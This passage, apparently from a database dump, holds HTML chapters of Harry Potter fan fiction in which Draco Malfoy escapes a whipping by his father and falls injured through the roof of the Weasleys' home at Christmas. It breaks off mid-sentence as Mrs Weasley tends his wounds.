there.&#8221;</p>\n    <p>&#8220;Oh, I hope they&#8217;ll bring me\n    something keen!&#8221; Ron mocked in a high-pitched voice. </p>\n    <p>&#8220;Quiet you,&#8221; Ginny swatted her\n    older brother on the head, &#8220;or I&#8217;ll tell Charlie to\n    keep the present he got you for Christmas.&#8221;</p>\n    <p>Ron&#8217;s eyes lit up. &#8220;What is it?\n    Tell me, tell me, tell me!&#8221;</p>\n    <p>Ginny crossed her arms and winked at Harry.\n    &#8220;Harry knows, but I&#8217;m not saying a word about it.\n    You&#8217;ll have to wait until Christmas.&#8221;</p>\n    <p>&#8220;Come on, Harry, tell me what it\n    is.&#8221;</p>\n    <p>Mrs. Weasley smacked her son over the head\n    with a wooden serving spoon. &#8220;Leave them alone about it.\n    You&#8217;ll find out on Christmas and not before.&#8221; She\n    stood up and smoothed down her wrinkled calico apron.\n    &#8220;Now Charlie is Portkeying in tonight and I want you to\n    leave him alone about your present. He&#8216;s still\n    recovering from that dreadful splinching incident a few days\n    ago.&#8221;</p>\n    <p>&#8220;Yes, Mum,&#8221; Ron agreed, rubbing\n    his head where the spoon had hit. &#8220;When are Dad and\n    Perce going to be home today? I have this Muggle thing I\n    picked up from one of our field trips to Snowdon last week\n    and I want to show him.&#8221;</p>\n    <p>Molly&#8217;s face fell. &#8220;Percy\n    won&#8217;t be home today, and not for Christmas either.\n    He&#8217;s on an important business trip for the Ministry and\n    won&#8217;t be able to come.&#8221;</p>\n    <p>Ginny sighed, &#8220;You mean we&#8217;ll be\n    missing <i>two</i> brothers this year?&#8221; Mrs. Weasley\n    nodded and Ron put his head over a fist. </p>\n    <p>&#8220;Rotten. I never thought I&#8217;d say\n    this, but it won&#8217;t seem the same without Percy here to\n    bore everyone to death with his reports on cauldron\n    thickness. And without Bill here, it&#8216;s bound to be no\n    fun.&#8221;</p>\n    <p>Harry and Ginny murmured their agreement.\n    Since Harry had spent his last two winter holidays with the\n    Weasley clan, he had come to expect certain things: Fred and\n    George to tease the girls, Charlie to talk about dragons and\n    teach him some Quidditch moves, while Bill always managed to\n    convince his parents to let everyone open presents early, and\n    Percy-- well, it was always loads of fun to tease the poor\n    boy about his unflagging devotion to the Ministry. </p>\n    <p>This Christmas was going to be terribly\n    different.</p>\n    <p>&nbsp;</p>\n    <p>*~*~*~*~*</p>\n    <p>&nbsp;</p>\n    <p>&#8220;Are you ready to apologise,\n    Draco?&#8221;</p>\n    <p>Lucius Malfoy stood beneath him, waiting\n    expectantly for a reply. Draco carefully drew in a breath; if\n    he hung here much longer, he would suffocate from his own\n    body weight and the need to breathe would no longer exist. </p>\n    <p>&#8220;Sir, I apologise for my actions\n    earlier. However, I still do not wish to become a Death\n    Eater.&#8221; What had possessed him to say that? He could\n    have easily lied and found another way to get out of it\n    later.</p>\n    <p>&#8220;Still the same.&#8221; Lucius shook\n    his head. &#8220;You are a stubborn boy, and I <i>will </i>break\n    you eventually. Why don&#8217;t I give you another hour or two\n    to think about it?&#8221; He picked up the whip that had been\n    discarded earlier. &#8220;And here is a little motivation to\n    speed things along.&#8221;</p>\n    <p>&nbsp;</p>\n    <p>*~*~*~*~*</p>\n    <p>&nbsp;</p>\n    <p>It had been six hours and Draco was still\n    dangling over the intricately detailed stone floor. He had\n    had much time to study the pattern and knew the way each\n    piece fit into the next by heart. He looked up when Lucius\n    came thundering into the room.</p>\n    <p>&#8220;Well?&#8221;</p>\n    <p>Draco tried to inhale in order to speak,\n    but his breath was shallow at best, making his speech thin\n    and strained. &#8220;Sir, I apologise for my actions--&#8221;</p>\n    <p>Lucius waved this away. &#8220;Save it,\n    I&#8217;ve heard enough tonight. I&#8217;ll be by in the\n    morning to see if you have changed your mind.&#8221;</p>\n    <p>Draco watched as his father walked away.\n    There were many thoughts racing through his brain, but only\n    one kept repeating itself. </p>\n    <p>He wouldn&#8217;t be alive come morning.</p>\n    <p>The weight of his body was too much for his\n    lungs to take and already it was agony to breathe enough to\n    speak those words to his father. The bindings had worn away a\n    good deal of his flesh and the blood that flowed had caked\n    his arms with long, brownish streaks. It was time to make a\n    decision.</p>\n    <p>With new-found strength, Draco started to\n    swing his body backwards and forwards. If he could only reach\n    the misericorde he had left on top of his tunic. The chair\n    with his clothes was only just out of reach, the dagger\n    glinting softly through the folds of cloth.</p>\n    <p>One mighty swing and Draco managed to hook\n    his feet around the chair, arching his body to bring it\n    closer. It dragged along the floor and he winced at the noise\n    it made. Hopefully his father was already in bed and\n    wouldn&#8217;t hear.</p>\n    <p>It was there, just under his dangling legs\n    and Draco stepped on the cushion, which supported him enough\n    so that he was finally able to take a real breath. He stood\n    there a moment, regaining strength, before he picked through\n    the cloth with his feet and found the dagger.</p>\n    <p>Another moment went by as Draco thought of\n    how he would manage to reach it with his hands and not use\n    his fingers. He wrapped the dagger with his feet as best he\n    could and kicked back on the chair, toppling it over and\n    leaving him free to sway. The ropes bit into his wrists again\n    and fresh blood flowed over the old.</p>\n    <p>He built momentum, bringing his feet a\n    little closer each time until he was finally able to touch\n    the blade with fingers blissfully numb from circulation loss.\n    He knew that all his Seeker flexibility would come in handy\n    one day. Draco wriggled his hands until he felt that the edge\n    of the dagger was against the rope and moved his fingers\n    carefully up and down.</p>\n    <p>A misericorde is long and thin, meant only\n    to stab, so its edge is dull. But Draco kept working, and\n    after what seemed an eternity, the final thread snapped and\n    he was free.</p>\n    <p>The force of impact stunned him for a\n    moment, and Draco found himself wondering if he would be able\n    to stand, much less walk to his room. Arms, which had been\n    above his head for hours, refused to come down and it took\n    almost ten minutes just to keep his limbs from floating in\n    the air when he relaxed them.</p>\n    <p>If he were found somewhere other than this\n    room, there would be hell to pay. But if he wasn&#8217;t found\n    at all&#8230; It was at this moment that Draco decided he had\n    had enough. He wouldn&#8217;t be a Death Eater, and he\n    wouldn&#8217;t be a pawn in his father&#8217;s games any\n    longer. Even being dead was preferable to that, however Draco\n    had a very strong urge to live.</p>\n    <p>When he was able to put on the shirt, he\n    did so and crept quietly out of the Chamber toward his room.\n    His wand was lying where he had left it on the desk and he\n    carefully pocketed it. The contents of his moneybag were\n    emptied out on top of the bed and Draco frowned; fifty\n    Galleons and a few Sickles wouldn&#8217;t get him very far.</p>\n    <p>Draco ignored the money for the time being\n    and proceeded to stuff a few items in a bag. He would buy\n    food when he was gone; the house-elves would tell his father\n    if they saw him in the kitchens. Wand, clothes, money&#8230;\n    he needed more money. </p>\n    <p>Grabbing his Cloudstriker IV from the\n    closet, Draco tiptoed his way through the narrow hallways to\n    his father&#8217;s study. The door was locked of course, but\n    he knew the incantation and things proceeded without\n    incident.</p>\n    <p>He knew that his father kept some money in\n    his desk to give the elves when they went to market. The\n    drawer was locked as well, but here Draco had a problem. He\n    could always smash the top of the desk but that would be\n    noisy and could take too much time. It was probably protected\n    by a password, but what was it? Draco set down his broom and\n    took a seat at the desk.</p>\n    <p>Knowing his father&#8217;s turn of mind, he\n    whispered several things before the phrase &#8216;Dark\n    Mark&#8217; allowed him entry into the little stash.\n    Draco&#8217;s lips twisted wryly: how typical.</p>\n    <p>Draco stuffed several small leather bags\n    into his pockets and was about to close the drawer before his\n    eyes rested on a book: his father&#8217;s journal. It was too\n    good to pass up without taking a peek.</p>\n    <p>He read through a few boring passages,\n    flipping the pages before he caught sight of his own name and\n    started to shake as he scanned lines which had been penned\n    only hours before.</p>\n    <p><i>Draco is becoming more difficult to\n    control. I&#8217;ve been assured by My Lord that the Tir nOg\n    curse does not wear off and can only be broken by phoenix\n    tears. How likely is he to have crossed paths with a phoenix?</i></p>\n    <p><i>The boy is irritating beyond measure,\n    and if My Lord were not in such need of him I would have\n    drowned the brat years ago; I could always make more heirs.\n    But My Lord has invested much time and effort in making sure\n    that our line was bred to be the cream of humanity and thus I\n    respect his decisions. Draco is the culmination of his\n    dreams, and it honours me beyond measure that the Dark Lord\n    has chosen my son to be his physical vessel for the new world\n    about to be created.</i></p>\n    <p><i>I must remember to write back to that\n    little poof from the Ministry. He becomes &#8216;desperate\n    without my company&#8217;. What a sentimental idiot.</i></p>\n    <p>For a moment, Draco couldn&#8217;t move. But\n    then a noise from the hallway made him jump and he realised\n    that his father was walking to the Chamber to check up on\n    him. Father had lied when he said that he wouldn&#8217;t be\n    back until morning just to scare him! But Draco didn&#8217;t\n    care that he had fallen for the bait and was even more\n    determined than ever to get away.</p>\n    <p>He ripped the last page from the journal\n    and stuffed it in a pocket to study later. The book itself\n    went back to the drawer and he closed it carefully. Draco\n    stood up, loaded down with his bag and gold, and opened the\n    window. He mounted the broom and flew out into the cold night\n    air. It was only when the wind started biting his toes that\n    Draco remembered he hadn&#8217;t put any shoes on.</p>\n    <p>Shoes could be procured, Draco thought and\n    he turned the broom toward London.</p>\n\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n\n'),
	(135, 6, '\n\n<p align="JUSTIFY">&#8220;Charlie!&#8221; Ginny squealed as she threw herself at the redheaded man walking through the front door.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Hey, there&#8217;s my little smoke puff!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The rest of the Weasley&#8217;s hung back when Ginny&#8217;s feet went flying as she was swung up into the air. &#8220;I&#8217;ve missed you so much!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I&#8217;ve missed you too. Come over here, Ron and give us a squeeze.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That&#8217;s okay, I don&#8217;t feel like getting clocked in the face by Ginny&#8217;s feet.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie put her down and stomped over to give Ron a bear hug. The fact that he was now several inches shorter than his baby brother didn&#8216;t seem to faze him in the slightest. &#8220;Aww what&#8217;s the matter? Is ickle Ronnikins too grown up to hug his big brother?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No, I just can&#8217;t breathe is all,&#8221; Ron managed to choke out. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Eh, you&#8217;re a tough little chap.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Little?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron was dropped and exchanged for Mr. and Mrs. Weasley. &#8220;So what are you making for tea, Mum?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Molly hauled back and smacked Charlie on the head. &#8220;In the house less than five minutes and all you can say is &#8216;what&#8217;s for tea&#8217;?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Sorry, Mum,&#8221; Charlie rubbed his temple and grinned. &#8220;Harry! Good to see you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry crept backwards, attempting to avoid the seeking arms. Fortunately for him, Charlie settled on a handshake and a dizzying blow to the back.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Don&#8217;t kill the poor boy, Charlie,&#8221; Mrs. Weasley admonished.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;He can take it, can&#8217;t you Harry?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry only nodded and sat down on the couch. Charlie was soon next to him and Ginny settled herself onto his lap.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Tell us about the dragons, Charlie. I want to hear all the news.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron groaned. &#8220;Ginny is the one you should have smacked, Mum. I don&#8216;t think I can handle another lively discussion on the differences between the horns of a male and female Gre--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Ronald! Our brother can talk about whatever makes him happy. I don&#8217;t tear out my hair every time I hear you talk about the Chudley Cannons do I?&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;But that&#8217;s Quidditch! You like Quidditch,&#8221; Ron was feeling offended and would soon be so mired in his childhood habits that it would be impossible to talk with him.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Come on, be a good fellow and stop arguing with everybody. Your brother is home now.&#8221; Harry felt it was his duty to pull Ron out of his infantile behaviour before it got out of hand.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That doesn&#8217;t mean that Ron will stop acting like a baby. In fact, he usually acts like <i>more</i> of a baby when the big boys are here,&#8221; Ginny interjected in a mischievous tone.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Do not,&#8221; Ron pouted.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;See?&#8221; she pointed out, bouncing on Charlie&#8217;s lap with glee.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Enough, you two. It&#8217;s time for tea, your Mum says.&#8221; The normally quiet Mr. Weasley raised his voice enough to be heard and there was a stampede as the four young <i>adults</i> raced each other to the kitchen and the wonders it contained.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> &#8220;That was your best meal ever, Mrs. Weasley,&#8221; Harry sighed, rubbing his contented belly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Yeah, Mum. That was great!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It was only steak and chips with a bit of egg. Nothing fancy really.&#8221; Molly blushed at the complement and sipped her tea. &#8220;More eggs, Charlie?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie waved his one hand while resting the other on top of his solid stomach. &#8220;No, I&#8217;m all right.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Harry?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Uh uh, I think I was still full from earlier.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny stood up from the table and started clearing away the dishes. &#8220;After I do these, I think I&#8217;ll take a bath and go to bed. I&#8217;m awfully tired for some reason.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You do that dear, I&#8217;ll help you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mrs. Weasley rose from her chair and followed Ginny over to the sink. Ron leaned over to Harry and whispered. &#8220;Wanna play chess for a while?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Sure. But why are we whispering?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron shrugged as he looked out the window at the first snow of the season. &#8220;Don&#8217;t know. Let&#8217;s play in front of the fire though, it&#8217;s a bit nippy tonight.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry agreed and soon they were involved in the match to end all matches. Ron actually looked confused for a moment when he realised that Harry had put his king in check so quickly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;How did you do that?&#8221; Ron asked, narrowing his eyes. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">Harry just shrugged. &#8220;Don&#8217;t know; it just seemed like the thing to do.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Hmmn, better watch my game from now on. Next thing I know, you&#8217;ll have my queen,&#8221; he muttered to himself, not really paying attention to the board. &#8220;Knight to D5.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The knight moved up and over one space to the right obediently. It was only after a moment that Ron realised his mistake and flushed. Harry grinned good-naturedly as he ordered his bishop diagonally to capture the black queen. She screamed something profane at Ron before she was swept off of the board.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You were saying?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron gritted his teeth. It was only chess, nothing to get upset over, he told himself. But his inner voice was hollow and the words didn&#8217;t sink in completely. &#8220;Rook to A4.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The game went on for a while longer before Ron smiled triumphantly. &#8220;Checkmate.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry sighed and flipped his king over on its side. &#8220;Well done, Ron.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Thanks, Harry. You may have captured my queen, but <i>I</i> won the game.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No need to be smug about it,&#8221; Harry groused. He had the odd feeling that Ron wasn&#8217;t referring to just chess with his last statement. Ron grinned though and the suspicion melted away.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Sorry, Harry. Just got carried off with it is all.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Quite all right.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oy, you fellows! Mum&#8217;s made some cocoa, come into the kitchen,&#8221; Charlie shouted to them from the doorway. Harry grinned and stood up from the floor, offering out a hand to help Ron up but he waved it away.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You go ahead, I&#8217;m going to clean up first.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry shrugged. &#8220;If you say so. Want me to bring you back a cuppa?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron shook his head and Harry walked off towards the brightly-lit kitchen. The fireplace in front of Ron was mostly embers now, but he stared into it as if it held all the secrets of the world.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> &#8220;Where&#8217;s Ron at, love?&#8221; Mrs. Weasley asked Harry with concern as he walked into the kitchen alone.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh, he said he&#8217;s going to clean up first and then he&#8217;ll be along.&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Molly studied Harry carefully before going back to her cocoa. &#8220;There are biscuits here if you want them. Just chat with us for awhile, you&#8217;ve been at school all year and we didn&#8217;t get to see you for very long this summer.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;All right, though there isn&#8217;t much to tell, it&#8217;s been a fairly dull year so far. Except for Hermione and Ginny taking falls out on the Quidditch pitch, of course.&#8221;&#8217;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Arthur shook his head sadly. &#8220;I&#8217;m only glad that the girls weren&#8217;t more seriously injured. Is poor Hermione still laid up in the Infirmary?&#8221;</p>\n<p align="JUSTIFY"> </p>\n<p align="JUSTIFY"> Harry nodded. &#8220;Yes, but she should be able to come to the Burrow in a few days or so.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That&#8217;s good. I was so worried about her when Ginny and Ron sent me that owl.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Molly sniffled a little and Arthur leaned over to cover her hand in his own. &#8220;She&#8217;ll be all right, love. Don&#8217;t worry about that one, she&#8217;s tough as dragonhide even if she is just a little girl.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I&#8217;m convinced that this is the year of the falling Weasleys,&#8221; Charlie added to the conversation. &#8220;Why just last week I fell off of the Opaleye we&#8217;re trying to break into saddle.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry&#8217;s eyes widened. &#8220;You&#8217;ve got an Opaleye out there?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie didn&#8217;t get a chance to answer though as he was thumped soundly by his mother. &#8220;Why didn&#8217;t you <i>tell</i> me that you fell off of a dragon? And what were you doing trying to saddle one in the first place? You know they don&#8217;t take well to riders.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Mum, I didn&#8217;t think--&#8221; Charlie was saved from having to explain this to his mother by the sound of a tremendous crash from upstairs. It took only a minute for the four to glance at each other in question before they all took off running up the stairs to the top floor behind Ron who had been closer.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Ginny?&#8221; Mr. Weasley shouted. &#8220;Ginny, are you all right?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> A door opened at the end of the upstairs hall and the sleepy red-haired girl rubbed a hand over her eyes. &#8220;What&#8217;s going on?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh thank heavens!&#8221; Mrs. Weasley shouted and clasped her baby close. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Mum, I&#8217;m fine. But what was that noise?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> During this time, the boys had all been creeping toward the bathroom with their wands drawn and followed by Mr. Weasley. He stopped them before they were able to open the door.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;If there is something dangerous in there, I had better go first,&#8221; he said quietly. Charlie only nodded and pushed Ron and Harry behind him with Ginny and Mrs. Weasley peering around from back of them.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Carefully, Mr. Weasley turned the knob on the bathroom door and creaked it open enough for him to see inside. He stood there for a moment, blocking the path before pushing the door all the way against the wall.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;A boy has fallen through our roof, Molly.&#8221; Arthur tilted his head to the side in puzzlement as Mrs. Weasley pushed him out of the way to see for herself.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Sweet Merlin! It <i>is</i> a boy!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry was able to peek over Mr. Weasley&#8217;s shoulder just enough to make out Draco Malfoy&#8217;s still form lying on the tiled floor.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> Mrs. Weasley stood there blinking for a moment before she seemed to come to herself again. &#8220;Arthur, Charlie, pick him up and take him down to the second landing. Put him in Percy&#8217;s room. Ginny, you come with me.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She was about to make her way downstairs when Ron stopped her. &#8220;Mum, do you know who that is? That&#8217;s Draco <i>Malfoy</i>!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Molly turned on her son, fire in her eyes. &#8220;I don&#8217;t care if it is You-Know-Who! He&#8217;s obviously hurt and needs my help.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;But Mum--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No, not another word. God brought him into my home for one reason or another and if you don&#8217;t want to help then go to your room.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron narrowed his eyes and sullenly huffed down the hall, slamming his door. Mrs. Weasley humphed and dragged Ginny downstairs with her. Harry was still speechless, but he shook it off to offer his assistance.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I&#8217;ll open the door for you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Arthur and Charlie grunted in thanks as they lifted Draco up by the arms and feet and took him down to the first storey corridor. Harry followed them and opened the door while the two puffing men placed Draco on Percy&#8217;s bed.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What&#8217;d I tell you Dad, it&#8217;s the year of the fallen it is,&#8221; Charlie stated sagely as he let Draco&#8217;s shoulders fall to the bed with a thump. &#8220;Except he isn&#8217;t a Weasley though, is he? Wonder what he was doing on our roof in the first place.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;He had a broom, but it&#8217;s broken now. I saw it when we picked him up,&#8221; Arthur commented while dusting himself off. &#8220;A Malfoy, in my own house. Thought I would never see the day.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie started when he went to dust off his hands. &#8220;Da, take a look at this!&#8221; He held his palms up so his father and Harry could see the fresh blood that was staining them.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry looked down, frowning as he saw the red and brown stains starting to seep through Draco&#8217;s shirt. &#8220;We need to turn him over, I think the wounds are on his back.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Arthur and Harry flipped the boy onto his stomach and the former pulled the bag from Draco&#8217;s shoulder and lifted his shirt.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh my-- oh.&#8221; These were the only intelligible words that escaped Mr. Weasley&#8217;s lips. Charlie peered curiously around his father&#8217;s back while Harry and Arthur remained silent. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What is it?&#8221; Charlie stopped at the sight of many crisscrossing lines in red striped over Draco&#8217;s back, some half healed and others newly broken open. Not much else could be seen for the blood that had congealed in places, obscuring the pale flesh beneath.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;W-who do you think did this to him?&#8221; Harry managed to stutter at last. He didn&#8217;t receive an answer because Mrs. Weasley came bustling in with bandages and potions; Ginny was behind her carrying a bowl of warm water.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Now, let&#8217;s just take a look--&#8221; Molly froze in horror, almost dropping a bottle of purple fluid. &#8220;What happened to him?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;We don&#8217;t know. Charlie just pulled back and there was suddenly all of this blood.&#8221; Harry swallowed. &#8220;It wasn&#8217;t there before.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mrs. Weasley composed herself and poked one of the slashes with a gentle finger. &#8220;I think these were sealed over when he put the shirt on and opened again when he fell.&#8221; She shook her head and sat on the bed beside Draco. &#8220;Ginny, bring me that water and a cloth. I have to clean these wounds out before he can be healed up.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny handed her mother the bowl with shaking hands and collected the bottles she was given in return. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Charlie, I want you to stay and help me. The rest of you go downstairs; I&#8217;ll call if I need help.&#8221; Arthur nodded to his wife and herded Harry and Ginny out of the room, closing the door.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> &#8220;Help me get these clothes off of him,&#8221; Mrs. Weasley asked Charlie as she started snipping Draco&#8217;s shirt away with a pair of scissors.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What are we going to put him in? Mum, do you realise how insane this is? A Malfoy at the Burrow.&#8221; Charlie touched his mother on the shoulder in order to receive some sort of acknowledgement. She only stared back at him coldly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I don&#8217;t <i>care</i> who it is. This boy needs our help and I&#8217;m going to do it. Look at him. Do you see these marks? I would bet my life that they were made by a whip. A <i>whip</i>, Charlie. Merlin only knows what the boy has been through.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;But he isn&#8217;t some stray Kneazle you and Ginny have taken in, this is a Malfoy! There are probably a hundred Death Eaters out looking for him now. If they find him here...&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Go to that drawer and get a pair of Percy&#8217;s pyjamas, he can wear those until I find something better,&#8221; Mrs. Weasley commanded as if she hadn&#8217;t even heard her son.</p>\n<p align="JUSTIFY"> </p>\n<p align="JUSTIFY"> &#8220;Mum, aren&#8217;t you listening to me?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She turned then to look up at her son. &#8220;I&#8217;m listening, now bring me those pyjamas.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie pursed his lips, but didn&#8217;t say anything else as he strode over to the wardrobe and laid hands on a pair of striped flannel bottoms.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Here, you won&#8217;t be able to put the top on him until after those wounds are sealed, though.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mrs. Weasley took the flannels and set them aside. &#8220;Help me get his trousers off.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie obeyed and they managed to pull the pyjamas up over Draco&#8217;s hips. His mother clucked silently to herself. &#8220;The poor boy doesn&#8217;t even have any shoes on his feet. Hand me my wand.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Molly put a warming charm on Draco&#8217;s feet, which had started to turn blue with frostbite. &#8220;Out in the snow and wind with no shoes, no cloak or gloves; he must have left wherever he was in a hurry and fell off his broom from exhaustion.&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She then proceeded to bathe the wounds on Draco&#8217;s back, the water quickly turning 